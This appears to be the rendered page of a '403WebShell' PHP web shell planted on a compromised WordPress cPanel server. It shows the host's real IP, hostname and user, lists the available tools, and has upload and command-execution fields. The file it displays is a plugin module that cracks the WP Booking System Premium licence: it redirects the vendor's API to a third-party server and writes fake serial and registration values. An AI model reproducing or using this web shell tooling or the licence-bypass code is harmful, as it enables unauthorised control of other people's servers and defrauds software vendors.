$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/wp-booking-system-premium.php
<?php
/**
 * WP Booking System Premium module.
 *
 * Redirects wpbookingsystem.com API requests to GLS3.
 * License endpoints handled locally, update/addon proxied with valid serial.
 *
 * Custom update checker, not EDD.
 * API domain: www.wpbookingsystem.com/u/
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WP Booking System Premium license module.
 */
class Wp_Booking_System_Premium extends AbstractModule {

	/**
	 * Placeholder serial key.
	 *
	 * @var string
	 */
	private const SERIAL_KEY = 'hellopack-wpbs-serial';

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'wp-booking-system-premium';
		$this->name        = 'WP Booking System Premium';
		$this->description = 'Manages WP Booking System Premium license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'wp-booking-system-premium',
			'plugin_file' => 'index.php',
		);
		$this->target_id   = '2034601898';

		$this->blocked_domains = array(
			'www.wpbookingsystem.com/u/' => self::generic_block(),
		);
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		ApiRedirector::create(
			'https://www.wpbookingsystem.com/u/',
			HELLOPACK_GLS3_URL . '/wp-booking-system/u/'
		);

		$this->activate_license();
	}

	/**
	 * Activate WP Booking System license.
	 *
	 * Sets serial key, website ID, and serial status transient
	 * so the plugin thinks it is registered and active.
	 */
	private function activate_license(): void {
		$current_key = get_option( 'wpbs_serial_key' );
		$current_id  = get_option( 'wpbs_registered_website_id' );

		if ( self::SERIAL_KEY === $current_key && ! empty( $current_id ) ) {
			// Ensure status transient is set.
			if ( false === get_transient( 'wpbs_serial_status' ) ) {
				set_transient( 'wpbs_serial_status', 1, 36 * HOUR_IN_SECONDS );
			}
			return;
		}

		update_option( 'wpbs_serial_key', self::SERIAL_KEY );
		update_option( 'wpbs_registered_website_id', 1 );
		set_transient( 'wpbs_serial_status', 1, 36 * HOUR_IN_SECONDS );
		set_transient( 'wpbs_subscription_type', 'wpbs-developer-license', 36 * HOUR_IN_SECONDS );
	}

	/**
	 * Cleanup on disable.
	 */
	public function cleanup(): void {
		hellopack_delete_option( 'wpbs_serial_key' );
		hellopack_delete_option( 'wpbs_registered_website_id' );
		hellopack_delete_option( 'external_updates-wp-booking-system-premium' );
		delete_transient( 'wpbs_serial_status' );
		delete_transient( 'wpbs_subscription_type' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit